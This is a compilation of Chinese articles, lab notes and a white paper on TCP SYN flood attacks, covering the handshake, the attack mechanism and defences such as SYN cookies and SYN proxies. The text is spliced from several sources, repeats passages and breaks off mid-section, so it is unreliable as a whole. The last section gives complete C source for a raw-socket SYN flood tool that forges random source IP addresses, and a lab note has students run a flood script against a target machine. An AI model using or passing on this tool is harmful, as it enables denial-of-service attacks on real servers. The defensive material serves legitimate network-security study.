SYN洪泛攻击原理及其防范策略
- 格式:doc
- 大小:18.00 KB
- 文档页数:4
SYN攻击与防范措施:网络世界的隐患与挑战网络安全问题是互联网发展过程中不可忽视的重要议题之一。
在众多的网络攻击手段中,SYN攻击一直以来都是危害严重且普遍存在的一种攻击方式。
本文将深入探讨SYN攻击的原理与影响,并提出针对性的防范措施,以帮助网络安全相关人员更好地应对这一挑战。
一、SYN攻击的原理SYN攻击(SYN Flood)是一种利用TCP协议中的漏洞进行的拒绝服务攻击(Denial of Service,DoS)。
攻击者通过请求连接来占用服务器资源,以达到阻塞正常用户连接的目的。
具体而言,SYN攻击是通过发送大量伪造的TCP连接请求(SYN包)来迷惑服务器,使其一直处于半连接状态,无法建立真正的连接。
攻击者通常会使用大量的IP地址和源端口号来混淆服务器,从而增加攻击的隐蔽性。
二、SYN攻击的影响SYN攻击对网络造成的影响是不可忽视的。
首先,它会耗尽服务器的资源,使其无法响应正常用户的请求,导致服务不可用。
其次,SYN攻击还可能导致网络拥塞,降低整个网络的带宽和传输速度。
更为严重的是,一些关键的网络设备(如防火墙)可能会因为处理SYN攻击而奔溃,从而给整个网络架构带来灾难性的后果。
三、防范SYN攻击的措施面对日益猖獗的SYN攻击,网络安全专家们提出了多种有效的防范措施:1. 增加系统资源SYN攻击利用了服务器资源的有限性,因此增加系统资源是一个最直接也最简单的方法。
通过提高服务器的处理能力和连接数目限制,可以减轻SYN攻击对服务器的影响。
2. 设置SYN CookieSYN Cookie是一种防御SYN攻击的方法。
通过在服务器端设置SYN Cookie,当服务器接收到一个SYN请求后,会将相关信息(如序列号等)保存在一个临时Cookie中。
只有在客户端回应ACK时,服务器才会验证该Cookie是否正确,并建立连接。
这种方式可以提高服务器抵御SYN攻击的能力。
3. 使用防火墙和入侵检测系统防火墙和入侵检测系统(IDS)能够识别并拦截大量的SYN请求。
SYN攻击原理以及防范技术据统计,在所有黑客攻击事件中,SYN攻击是最常见又最容易被利用的一种攻击手法。
相信很多人还记得2000年YAHOO网站遭受的攻击事例,当时黑客利用的就是简单而有效的SYN攻击,有些网络蠕虫病毒配合SYN攻击造成更大的破坏。
本文介绍SYN攻击的基本原理、工具及检测方法,并全面探讨SYN攻击防范技术。
一、TCP握手协议在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接。
第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认;第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态;第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED状态,完成三次握手。
完成三次握手,客户端与服务器开始传送数据,在上述过程中,还有一些重要的概念:未连接队列:在三次握手协议中,服务器维护一个未连接队列,该队列为每个客户端的SYN包(syn=j)开设一个条目,该条目表明服务器已收到SYN包,并向客户发出确认,正在等待客户的确认包。
这些条目所标识的连接在服务器处于Syn_RECV状态,当服务器收到客户的确认包时,删除该条目,服务器进入ESTABLISHED状态。
Backlog参数:表示未连接队列的最大容纳数目。
SYN-ACK 重传次数服务器发送完SYN-ACK包,如果未收到客户确认包,服务器进行首次重传,等待一段时间仍未收到客户确认包,进行第二次重传,如果重传次数超过系统规定的最大重传次数,系统将该连接信息从半连接队列中删除。
注意,每次重传等待的时间不一定相同。
半连接存活时间:是指半连接队列的条目存活的最长时间,也即服务从收到SYN包到确认这个报文无效的最长时间,该时间值是所有重传请求包的最长等待时间总和。
文章编号:2096-1472(2019)-03-29-03DOI:10.19644/ki.issn2096-1472.2019.03.009软件工程 SOFTWARE ENGINEERING 第22卷第3期2019年3月V ol.22 No.3Mar. 2019SYN Flood 攻击的原理及防御张文川(兰州石化职业技术学院,甘肃 兰州 730060)摘 要:SYN-Flood攻击是当前网络上最为常见的DDoS攻击,也是最为经典的拒绝服务攻击,它利用了TCP协议实现上的一个缺陷,通过向网络服务所在端口发送大量的伪造源地址的攻击报文,就可能造成目标服务器中的半开连接队列被占满,从而阻止其他合法用户进行访问。
为了有效防范这种攻击,在分析攻击原理的基础上,发现可以使用TCP代理防御及TCP源探测防御方法来解决这个问题,经过测试证明,该办法能够有效降低SYN Flood攻击造成的危害。
关键词:DDoS攻击;STN Flood攻击;TCP代理防御;TCP源探测防御中图分类号:TP399 文献标识码:AThe Principle and Defense of SYN Flood AttackZHANG Wenchuan(Lanzhou Petrochemical College of V ocational Technology ,Lanzhou 730060,China )Abstract:SYN-Flood attack is the most common DDoS attack and the most classic denial-of-service attack on the current network.It takes advantage of a flaw in TCP protocol implementation and sends a large number of attack packets of forged source addresses to the port where the network service is located,which may cause the semi-open connection queue in the target server to be occupied,thus preventing other legal users from accessing.In order to effectively prevent this attack,on the basis of analyzing the attack principle,it is found that TCP proxy defense and TCP source detection defense methods can be used to solve this problem.Testsprove that this method can effectively reduce the harm caused by SYN Flood attack.Keywords:DdoSattack;STN Flood attack;TCP proxy defense;TCP source detection defense基金项目:全国工业和信息化职业教育教学指导委员会工信行指委“基于校企合作人才培养模式的信息化教学的研究与实践”项目编号:【2018】20号.1 引言(Introduction)过去,攻击者所面临的主要问题是网络宽带不足,受限于较慢的网络速度,攻击者无法发出过多的请求。
SYN洪泛攻击原理及其防范策略作者:陶涛来源:《电脑知识与技术》2012年第30期摘要:SYN洪泛攻击是出现在这几年的一种具有很强攻击力而又缺乏有效防御手段的Internet攻击手段,是目前网络安全界研究的热点。
TCP SYN 洪流攻击是最常见的DoS攻击手段之一。
文中着重对TCP SYN 洪流攻击及其防范措施进行了深入研究,提出了一种新的综合攻击检测技术,较好地解决了对此类攻击的防范问题。
关键词:SYN洪泛攻击;DOS攻击;TCP协议;三次握手协议;防范策略中图分类号 TP309 文献标识码:A 文章编号:1009-3044(2012)30-7208-02SYN攻击属于DOS攻击的一种,它利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。
SYN攻击除了能影响主机外,还可以危害路由器、防火墙等网络系统,事实上SYN攻击并不管目标是什么系统,只要这些系统打开TCP服务就可以实施。
1 SYN洪泛攻击原理及其防范策略1.1 SYN洪泛攻击所存在的基础环境SYN洪泛攻击首次出现在1996年。
当时主要是应用于攻击网络服务提供商(ISP)的邮件和Telnet服务,并造成了停机。
给服务器操作造成严重的影响。
SYN攻击利用的是TCP的三次握手机制,攻击端利用伪造的IP地址向被攻击端发出请求,而被攻击端发出的响应报文将永远发送不到目的地,那么被攻击端在等待关闭这个连接的过程中消耗了资源,如果有成千上万的这种连接,主机资源将被耗尽,从而达到攻击的目的。
TCP 传输控制块是一种包含一个连接所有信息的传输协议数据结构状态的TCP连接项目,和已建立完整连接但仍未由应用程序通过accept()调用提取的项目)。
一个单一的传输控制块所占内存大小取决于连接中所用的TCP选项和其他一些功能的实现。
通常一个传输控制块至少280字节,在某些操作系统中已经超过了1300字节。
TCP的SYN-RECEIVED状态用于指出这个连接仅仅是半开连接,请求是否合法仍被质疑。
TCP SYN Flood攻击的原理机制/检测与防范及防御方法现在的攻击者,无所不在了.对于一些攻击手法,很多高手也都是看在眼里而没什么实质性防范措施.除了改端口,换IP,弄域名..还能做什么? 本篇文章介绍了TCP SYN Flood攻击的原理机制/检测与防范及防御方法,希望能给大伙一个思路.TCP SYN Flood攻击的机制客户端通过发送在TCP报头中SYN标志置位的数据分段到服务端来请求建立连接。
通常情况下,服务端会按照IP报头中的来源地址来返回SYN/ACK置位的数据包给客户端,客户端再返回ACK到服务端来完成一个完整的连接(Figure-1)。
在攻击发生时,客户端的来源IP地址是经过伪造的(spoofed),现行的IP路由机制仅检查目的IP地址并进行转发,该IP包到达目的主机后返回路径无法通过路由达到的,于是目的主机无法通过TCP三次握手建立连接。
在此期间因为TCP缓存队列已经填满,而拒绝新的连接请求。
目的主机一直尝试直至超时(大约75秒)。
这就是该攻击类型的基本机制。
发动攻击的主机只要发送较少的,来源地址经过伪装而且无法通过路由达到的SYN连接请求至目标主机提供TCP服务的端口,将目的主机的TCP缓存队列填满,就可以实施一次成功的攻击。
实际情况下,发动攻击时往往是持续且高速的。
Figure-3 SYN Flood Attack这里需要使用经过伪装且无法通过路由达到的来源IP地址,因为攻击者不希望有任何第三方主机可以收到来自目的系统返回的SYN/ACK,第三方主机会返回一个RST(主机无法判断该如何处理连接情况时,会通过RST重置连接),从而妨碍攻击进行。
Figure-4 IP Spoofing由此可以看到,这种攻击方式利用了现有TCP/IP协议本身的薄弱环节,而且攻击者可以通过IP伪装有效的隐蔽自己。
但对于目的主机来说,由于无法判断攻击的真正来源。
而不能采取有效的防御措施。
TCP SYN Flood检测与防范一、分析从上面的分析,可以看出TCP SYN Flood远程拒绝服务攻击具有以下特点:针对TCP/IP协议的薄弱环节进行攻击;发动攻击时,只要很少的数据流量就可以产生显著的效果;攻击来源无法定位;在服务端无法区分TCP连接请求是否合法。
拒绝服务攻击(Denial of Service,dos)是目前比较有效而又非常难于防御的一种网络攻击方式,它的目的就是使服务器不能够为正常访问的用户提供服务。
所以,dos对一些紧密依靠互联网开展业务的企业和组织带来了致命的威胁。
1 SYN Flood攻击介绍:拒绝服务攻击(Denial of Service,dos)是目前比较有效而又非常难于防御的一种网络攻击方式,它的目的就是使服务器不能够为正常访问的用户提供服务。
所以,dos对一些紧密依靠互联网开展业务的企业和组织带来了致命的威胁。
SYN Flood是最为有效和流行的一种dos攻击形式。
它利用TCP三次握手协议的缺陷,向目标主机发送大量的伪造源地址的SYN连接请求,消耗目标主机的资源,从而不能够为正常用户提供服务。
1.1 TCP连接建立的过程要掌握SYN Flood攻击的基本原理,必须先介绍TCP的三次握手机制。
TCP三次握手过程如下:1)客户端向服务器端发送一个SYN置位的TCP报文,包含客户端使用的端口号和初始序列号x;2)服务器端收到客户端发送来的SYN报文后,向客户端发送一个SYN和ACK 都置位的TCP报文,包含确认号为x+1和服务器的初始序列号y;3)TCP客户端客户端端口(1024-65535)TCP服务器端服务器端口(1-1023)SYNSYN/ACKACK客户端收到服务器返回的SYN+ACK报文后,向服务器返回一个确认号为y +1序号为x+1的ACK报文,一个标准的TCP连接完成。
如图1所示:1.2 攻击原理在SYN Flood攻击中,黑客机器向受害主机发送大量伪造源地址的TCP SYN 报文,受害主机分配必要的资源,然后向源地址返回SYN+ACK包,并等待源端返回ACK包,如图2所示。
由于源地址是伪造的,所以源端永远都不会返回ACK 报文,受害主机继续发送SYN+ACK包,并将半连接放入端口的积压队列中,虽然一般的主机都有超时机制和默认的重传次数,但是由于端口的半连接队列的长度是有限的,如果不断的向受害主机发送大量的TCP SYN报文,半连接队列就会很快填满,服务器拒绝新的连接,将导致该端口无法响应其他机器进行的连接请求,最终使受害主机的资源耗尽。
SYN攻击原理以及防范技术据统计,在所有黑客攻击事件中,SYN攻击是最常见又最容易被利用的一种攻击手法。
相信很多人还记得2000年YAHOO网站遭受的攻击事例,当时黑客利用的就是简单而有效的SYN攻击,有些网络蠕虫病毒配合SYN攻击造成更大的破坏。
本文介绍SYN攻击的基本原理、工具及检测方法,并全面探讨SYN攻击防范技术。
一、TCP握手协议在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接。
第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认;第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态;第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED状态,完成三次握手。
完成三次握手,客户端与服务器开始传送数据,在上述过程中,还有一些重要的概念:未连接队列:在三次握手协议中,服务器维护一个未连接队列,该队列为每个客户端的SYN包(syn=j)开设一个条目,该条目表明服务器已收到SYN包,并向客户发出确认,正在等待客户的确认包。
这些条目所标识的连接在服务器处于Syn_RECV状态,当服务器收到客户的确认包时,删除该条目,服务器进入ESTABLISHED状态。
Backlog参数:表示未连接队列的最大容纳数目。
SYN-ACK 重传次数服务器发送完SYN-ACK包,如果未收到客户确认包,服务器进行首次重传,等待一段时间仍未收到客户确认包,进行第二次重传,如果重传次数超过系统规定的最大重传次数,系统将该连接信息从半连接队列中删除。
注意,每次重传等待的时间不一定相同。
半连接存活时间:是指半连接队列的条目存活的最长时间,也即服务从收到SYN包到确认这个报文无效的最长时间,该时间值是所有重传请求包的最长等待时间总和。
SYNFlOOD攻击原理、检测及防御SYN LLOOD是现在比较常见的攻击方式,它可以利用TCP协议的缺陷来对TCP连接请求进行伪造,进而导致CPU在资源方面出现耗尽的情况,或者是导致CPU出现内存不足的情况。
在对SYN FLOOD攻击进行分析的时候可以从TCP三次握手和握手的时候出现的缺陷,同时在IP方面出现的欺骗进行分析,这样可以更好的对SYN FLOOD 进行分析,进而找到检测的方法和防御的方法。
标签:SYN Flood攻击;检测;防御拒绝服务攻击和分布式拒绝服务攻击是网络攻击方式中危害极大的攻击,和其他的网络攻击不同,拒绝服务攻击不是对攻击目标的系统和数据进行危害,而是对攻击目标的网络进行耗尽,同时对系统的操作面临着资源不断减少的情况,这样就会导致攻击目标的服务器系统出现崩溃的情况,使得用户无法使用网络服务。
SNY FLOOD就是拒绝服务攻击和分布式拒绝服务攻击的重要方式之一,如果攻击的目标是支持TCP应用的,那么这种攻击方式就可以对攻击目标的所有网络连接进行攻击,同时使用户无法正常进行网络的访问,SNY FLOOD攻击的原理就是利用TCP协议在建立连接的时候三次握手的缺陷,同时利用IP的欺骗技术。
为了更好的解决这种攻击方式,对SYN FLOOD攻击进行必要的检测是非常重要的,在检测方面人们已经在使用一些方法的,同时在防御方法上人们也找到了一些措施,可以通过修改系统的配置,采用必要的防火墙或者只允许合法的IP源在设备上进行使用,这样进行网络连接的时候才能避免出现IP欺骗的情况。
1 TCP三次握手TCP是传输控制协议的简称,它是一种传输层协议,在使用的时候主要是进行面向连接。
面向连接是一种数据在传输的时候建立起来的虚电路连接,在进行连接的时候主要是对客户端和服务器之间进行连接。
这个连接的过程通常被人们称作为TCP的三次握手。
TCP的第一次握手是客户端向服务器发送SYN包,并且要在系统缓存中开辟一个空间来对服务器的请求进行处理,这时候连接的状态表现为SYN 的发送状态。
总结SYN洪泛攻击原理。
思考预防SYN洪泛攻击措施及故障排除方法。
SYN洪泛攻击概述:尽管这种攻击已经出现了十四年,但它的变种至今仍能看到。
虽然能有效对抗SYN洪泛的技术已经存在,但是没有对于TCP实现的一个标准的补救方法出现。
你可以在如今的操作系统和设备中找到保护应用层和网络层的不同解决方案的不同实现。
它利用TCP三次握手协议的缺陷,向目标主机发送大量的伪造源地址的SYN连接请求,使得被攻击方资源耗尽,从而不能够为正常用户提供服务。
SYN洪泛攻击原理:在TCP协议中被称为三次握手(Three-way Handshake)的连接过程中,如果一个用户向服务器发送了SYN报文,服务器又发出 SYN+ACK 应答报文后未收到客户端的 ACK 报文的,这种情况下服务器端会再次发送SYN+ACK给客户端,并等待一段时间后丢弃这个未完成的连接,这段时间的长度称为SYN Timeout,一般来说这个时间是分钟的数量级。
SYN flood 所做的就是利用了这个SYN Timeout时间和TCP/IP协议族中的另一个漏洞:报文传输过程中对报文的源 IP 地址完全信任。
SYN flood 通过发送大量的伪造 TCP 链接报文而造成大量的 TCP 半连接,服务器端将为了维护这样一个庞大的半连接列表而消耗非常多的资源。
这样服务器端将忙于处理攻击者伪造的TCP连接请求而无法处理正常连接请求,甚至会导致堆栈的溢出崩溃。
造成SYN洪泛攻击最主要的原因是TCP/IP协议的脆弱性。
TCP/IP是一个开放的协议平台,它将越来越多的网络连接在一起,它基于的对象是可信用户群,所以缺少一些必要的安全机制,带来很大的安全威胁。
例如常见的IP欺骗、TCP连接的建立、ICMP数据包的发送都存在巨大的安全隐患,给SYN洪泛攻击带来可乘之机。
SYN洪泛攻击类别直接攻击:如果攻击者用他们自己的没有经过伪装的IP地址快速地发送SYN数据包,这就是所谓的直接攻击。
SYN Flood攻击防范技术白皮书关键词:SYN Flood ,SYN Cookie,Safe Reset摘要:本文主要介绍了H3C防火墙为保护服务器免受SYN Flood攻击采用的防范技术的原理和应用。
缩略语:目录1 概述 (3)1.1 产生背景 (3)1.2 技术优点 (4)2 技术实现 (5)2.1 SYN Flood攻击检测技术 (5)2.1.1 半开连接数检测 (6)2.1.2 新建连接速率检测 (7)2.2 SYN Flood攻击防范技术 (8)2.2.1 阻断新建连接 (8)2.2.2 释放无效连接 (10)2.2.3 SYN Cookie技术 (10)2.2.4 Safe Reset技术 (12)3 典型组网应用 (14)3.1 SYN Cookie典型组网应用 (14)3.2 Safe Reset典型组网应用 (14)3.3 SYN Flood攻击防范综合组网应用 (15)1 概述1.1 产生背景SYN Flood 攻击是一种通过向目标服务器发送SYN 报文,消耗其系统资源,削弱目标服务器的服务提供能力的行为。
一般情况下,SYN Flood 攻击是在采用IP 源地址欺骗行为的基础上,利用TCP 连接建立时的三次握手过程形成的。
众所周知,一个TCP 连接的建立需要双方进行三次握手,只有当三次握手都顺利完成之后,一个TCP 连接才能成功建立。
当一个系统(称为客户端)请求与另一个提供服务的系统(称为服务器)建立一个TCP 连接时,双方要进行以下消息交互: (1) 客户端向服务器发送一个 SYN 消息;(2) 如果服务器同意建立连接,则响应客户端一个对 SYN 消息的回应消息(SYN/ACK );(3) 客户端收到服务器的 SYN/ACK 以后,再向服务器发送一个 ACK 消息进行确认。
当服务器收到客户端的ACK 消息以后,一个TCP 的连接成功完成。
连接的建立过程如图1所示:图1 TCP 连接的建立在上述过程中,当服务器收到SYN 报文后,在发送SYN/ACK 回应客户端之前,需要分配一个数据区记录这个未完成的TCP 连接,这个数据区通常称为TCB 资源,此时的TCP 连接也称为半开连接。
synflood攻击原理 syn flood是⼀种常见的DOS(denial of service拒绝服务)和Ddos(distributed denial of serivce 分布式拒绝服务)攻击⽅式。
这是⼀种使⽤TCP协议缺陷,发送⼤量的伪造的TCP连接请求,使得被攻击⽅cpu或内存资源耗尽,最终导致被攻击⽅⽆法提供正常的服务。
要明⽩这种攻击原理,还要从TCP连接的建⽴说起: ⼤家都知道,TCP和UDP不同,它提供⼀种基于连接的,可靠的字节流服务。
想要通信的双⽅,都要⾸先建⽴⼀条TCP连接。
这条连接的两端只有通信的双⽅。
TCP连接的建⽴是这样的: ⾸先,请求端(发送端)会发⼀个带有SYN标志位的报⽂,该报⽂中含有发送端的初始序号ISN(initinal sequence number)和发送端使⽤的端⼝号,该报⽂就是请求建⽴连接, 其次,服务器收到这个请求报⽂后,就会回⼀个SYN+ACK的报⽂,同时这个报⽂中也包含服务器的ISN以及对请求端的确认序号,这个确认序号的值是请求端的序号值+1,表⽰请求端的请求被接受, 最后,请求端收到这个报⽂后,就会回应给服务器⼀个ACK报⽂,到此⼀个TCP连接就建⽴了。
上⾯也就是典型的TCP三次握⼿过程(Three-way Handshake)。
问题就是在这最后⼀次的确认⾥,如果请求端由于某种异常(死机或掉线),服务器没有收到请求端发送的回应ACK。
那么第三次握⼿没有完成,服务器就会向请求端再次发送⼀个SYN+ACK报⽂,并等待⼀段时间后丢弃这个未完成的连接。
这个时间长度称为SYN Timeout,⼀般来说是分钟的数量级(⼤约30秒到2分钟);⼀个⽤户出现异常导致服务器等待⼀分钟是没有什么问题的。
如果有恶意攻击者采⽤这种⽅式,控制⼤量的⾁鸡来模拟这种情况,服务器端就要去维护⼀个⼤量的半连接表⽽消耗⼤量的cpu和内存资源。
服务器会对这个半连接表进⾏⼀个遍历,然后尝试发送SYN+ACK来继续TCP连接的建⽴。
攻击源利用TCP漏洞向服务器发出攻击,使得服务器(靶机)网络资源被耗尽,观察攻击的过程。
备注:需开启连接windows和linux靶机,在linux运行synflood.py对windows进行攻击,并通过观察浏览网页发现问题(工具在root->gongfang->synflood->synflood.py)。
洪泛攻击是拒绝服务攻击中最有效、最常见的方式,在很多时候这两个概念甚至可以互换。
该攻击方式几乎是从互联网络的诞生以来,就伴随着互联网络的发展而一直存在也不断发展和升级。
要引起注意的是,许多黑客乐意把他们开发的DoS攻击软件放在互联网上供各种感兴趣的人免费下载,任何一个上网都能够轻松的从Internet上获得这些工具,从某种意义上说,任何一个上网者都可能构成网络安全的潜在威胁。
DoS攻击给飞速发展的互联网络安全带来重大的威胁。
就目前而言,DoS 攻击永远不会消失而且从技术上目前没有根本的解决办法。
1、掌握泛洪攻击的基本原理;2、思考防范泛洪攻击的手段;泛洪攻击利用的是TCP的三次握手机制,攻击端利用伪造的IP地址向被攻击端发出请求,而被攻击端发出的响应报文将永远发送不到目的地,那么被攻击端在等待关闭这个连接的过程中消耗了资源,如果有成千上万的这种连接,主机资源将被耗尽,从而达到攻击的目的。
在服务器与客户端之间传输数据时,先建立tcp连接是必须的,在传送tcp数据时,必须建立一个虚电路,即tcp连接。
服务器与客户端建立tcp连接的标准过程被称为三次握手。
SYN 洪泛攻击通过故意不完成三次握手过程,造成连接一方的资源耗尽。
攻击者向靶机发送一个SYN报文后就拒接返回报文,这样靶机在发出SYN +ACK 应答报文后是无法收到客户端的ACK报文的,这样第三次握手就无法完成,这种情况下,靶机即被攻击的服务器端一般会重试再发送SYN+ACK给客户端,并等待一段时间后丢弃这个未完成的连接,这段时间称为SYN Timeout,一般来说这个时间大约为1分钟。
SYN Flood攻击的基本原理及防御文章来源:/syn.htm第一部分SYN Flood的基本原理SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。
要明白这种攻击的基本原理,还是要从TCP连接建立的过程开始说起:大家都知道,TCP与UDP不同,它是基于连接的,也就是说:为了在服务端和客户端之间传送TCP数据,必须先建立一个虚拟电路,也就是TCP连接,建立TCP连接的标准过程是这样的:首先,请求端(客户端)发送一个包含SYN标志的TCP报文,SYN即同步(Synchronize),同步报文会指明客户端使用的端口以及TCP连接的初始序号;第二步,服务器在收到客户端的SYN报文后,将返回一个SYN+ACK的报文,表示客户端的请求被接受,同时TCP序号被加一,ACK即确认(Acknowledgement)。
第三步,客户端也返回一个确认报文ACK给服务器端,同样TCP序列号被加一,到此一个TCP连接完成。
以上的连接过程在TCP协议中被称为三次握手(Three-way Handshake)。
问题就出在TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成),这种情况下服务器端一般会重试(再次发送SYN+ACK给客户端)并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级(大约为30秒-2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源----数以万计的半连接,即使是简单的保存并遍历也会消耗非常多的CPU时间和内存,何况还要不断对这个列表中的IP进行SYN+ACK的重试。
syn攻击防范措施SYN攻击是一种利用TCP协议缺陷进行的攻击,它通过发送大量的半开连接请求来耗尽服务器的资源。
为了防范SYN攻击,可以采取以下措施:一、过滤网关防护过滤网关主要指防火墙和路由器,它们部署在不同网络之间,能够防范外来非法攻击和防止保密信息外泄。
利用防火墙或路由器来防护SYN攻击能起到很好的效果。
以下是三种主要的过滤网关防护措施:(1)网关超时设置:防火墙或路由器设置SYN转发超时参数(状态检测的防火墙可在状态表里面设置),该参数远小于服务器的timeout时间。
当客户端发送完SYN包,服务端发送确认包后(SYN +ACK),防火墙如果在计数器到期时还未收到客户端的确认包(ACK),则往服务器发送RST包,以使服务器从队列中删去该半连接。
(2)SYN网关:当客户端发送SYN包给服务器时,防火墙拦截该请求并返回一个RST包给客户端,以使客户端关闭连接。
这种措施可以有效地防止半开连接的产生。
(3)SYN代理:与SYN网关类似,SYN代理也拦截客户端的SYN 请求,但是它不返回RST包给客户端,而是将请求转发给服务器。
在收到服务器的SYN-ACK包后,代理返回一个RST包给客户端,以使客户端关闭连接。
这种措施也可以有效地防止半开连接的产生。
二、TCP/IP协议栈加固除了过滤网关防护外,还可以通过加固TCP/IP协议栈来防范SYN 攻击。
以下是几种主要的协议栈加固措施:(1)调整TCP/IP协议栈参数:可以调整一些协议栈参数来增强网络的安全性。
例如,可以增加TCP重试次数、调整TCP初始拥塞窗口大小、调整TCP最大传输单元等。
这些调整可以增加攻击者建立半开连接的难度,从而减少SYN攻击的成功率。
(2)使用SYN-cookie技术:SYN-cookie是一种用于防范SYN 攻击的技术,它通过在服务器端生成一个cookie来验证客户端的身份。
当客户端发送SYN包给服务器时,服务器会生成一个cookie并返回给客户端。
synflood(syn洪水)攻防实战说到 syn洪水大家应该都不陌生。
sk.c之前听说过其中的原理,但也没真枪实弹试过。
到最近在学习服务器调优才实践尝试了下,才有了这篇烂笔头博文,有说的不对的地方,还请赐教一开始,我们还是再唠叨下 syn flood doc 的原理:1.TCP三次握手syn flood doc 是基于TCP协议缺陷的。
那么,我们先看下TCP 三次握手的协议图我们看到,tcp 在初始化连接的时候,需要经过三次握手,若某客户端发送大量syn请求给服务端,然后不返回ack包。
那么,服务端将会存在大量的syn队列(SYN_RCVD),导致占用大量服务端资源,让其他正常用户无法正常访问服务器。
sk.c 之前想过这样的方案我们是否可以限制相同IP的syn请求数来解决问题?当然,这太天真了,原因在于: 单个数据包请求的IP来源地址可以轻松的伪造!嗯,这时我们需要简单了解下 IP 协议2.IP 协议IP协议中,基于每个IP数据报头都标明(32位源IP地址)这点,我们只要在构造的 syn 包中随机的填写源IP地址, 那么就可以伪造数据来源的IP啦。
这样的话,那是不是意味着我们在互联网通信都可以用这样简单的方式来伪造IP呢?–答案是否定的,原因留给读者想想看 :)syn_act 实现基于以上两个原理,我们可以写一个程序,用随机IP的syn去攻击一台服务器syn_act1 2 3 4 5 6 7 8 9 /*Syn Flood DOS with LINUX sockets*/#include<stdio.h>#include<string.h> //memset#include<sys/socket.h>#include<stdlib.h> //for exit(0);#include<errno.h> //For errno - the error number#include<netinet/tcp.h> //Provides declarations for tcp header#include<netinet/ip.h> //Provides declarations for ip header#include<sys/time.h>1011121314151617181920212223242526272829303132333435363738394041424344454647484950515253 struct pseudo_header { //needed for checksum calculation unsigned int source_address;unsigned int dest_address;unsigned char placeholder;unsigned char protocol;unsigned short tcp_length;struct tcphdr tcp;};unsigned short csum(unsigned short *ptr,int nbytes) {register long sum;unsigned short oddbyte;register short answer;sum=0;while(nbytes>1) {sum+=*ptr++;nbytes-=2;}if(nbytes==1) {oddbyte=0;*((u_char*)&oddbyte)=*(u_char*)ptr;sum+=oddbyte;}sum = (sum>>16)+(sum & 0xffff);sum = sum + (sum>>16);answer=(short)~sum;return(answer);}int main(int argc, char *argv[]) {//Uncommend the loop if you want to flood :)//Create a raw socketint s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); //Datagram to represent the packetchar datagram[4096] , source_ip[32], dst_ip[32]; //IP headerstruct iphdr *iph = (struct iphdr *) datagram;//TCP headerstruct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));struct sockaddr_in sin;struct pseudo_header psh;struct timeval tv_time;int ip1,ip2,ip3,ip4;gettimeofday(&tv_time,NULL);srand(tv__usec);if(argc != 2) {printf("Usage: syn_act 172.16.5.69\n");} else {sprintf(dst_ip,"%s",argv[1]);}// rand to get ipip1 = rand() % 196;ip2 = rand() % 128;5455565758596061626364656667686970717273747576777879808182838485868788899091929394959697 ip3 = rand() % 256;ip4 = rand() % 256;sprintf(source_ip,"%d.%d.%d.%d",ip1,ip2,ip3,ip4);sin.sin_family = AF_INET;sin.sin_port = htons(80);sin.sin_addr.s_addr = inet_addr(dst_ip);memset(datagram, 0, 4096); /* zero out the buffer *///Fill in the IP Headeriph->ihl = 5;iph->version = 4;iph->tos = 0;iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);iph->id = htons(54321); //Id of this packetiph->frag_off = 0;iph->ttl = 255;iph->protocol = IPPROTO_TCP;iph->check = 0; //Set to 0 before calculating checksumiph->saddr = inet_addr ( source_ip ); //Spoof the source ip addressiph->daddr = sin.sin_addr.s_addr;iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);//TCP Headertcph->source = htons (1234);tcph->dest = htons (80);tcph->seq = 0;tcph->ack_seq = 0;tcph->doff = 5; /* first and only tcp segment */tcph->fin=0;tcph->syn=1;tcph->rst=0;tcph->psh=0;tcph->ack=0;tcph->urg=0;tcph->window = htons (5840); /* maximum allowed window size */tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stackshould fill in the correct checksum during transmission */tcph->urg_ptr = 0;//Now the IP checksumpsh.source_address = inet_addr( source_ip );psh.dest_address = sin.sin_addr.s_addr;psh.placeholder = 0;psh.protocol = IPPROTO_TCP;psh.tcp_length = htons(20);memcpy(&psh.tcp , tcph , sizeof (struct tcphdr)); tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));9899 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 //IP_HDRINCL to tell the kernel that headers are included in the packetint one = 1;const int *val = &one;if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) {printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" , errno , strerror(errno));exit(0);}//Send the packetif (sendto (s, /* our socket */datagram, /* the buffer containing headers and data */iph->tot_len, /* total length of our datagram */0, /* routing flags, normally always 0 */(struct sockaddr *) &sin, /* socket addr, just like in */sizeof (sin)) < 0) { /* a normal send() */printf ("error\n");} else {//Data send successfullyprintf ("Packet Send \n");}return 0;}142 143 144 145 146 147 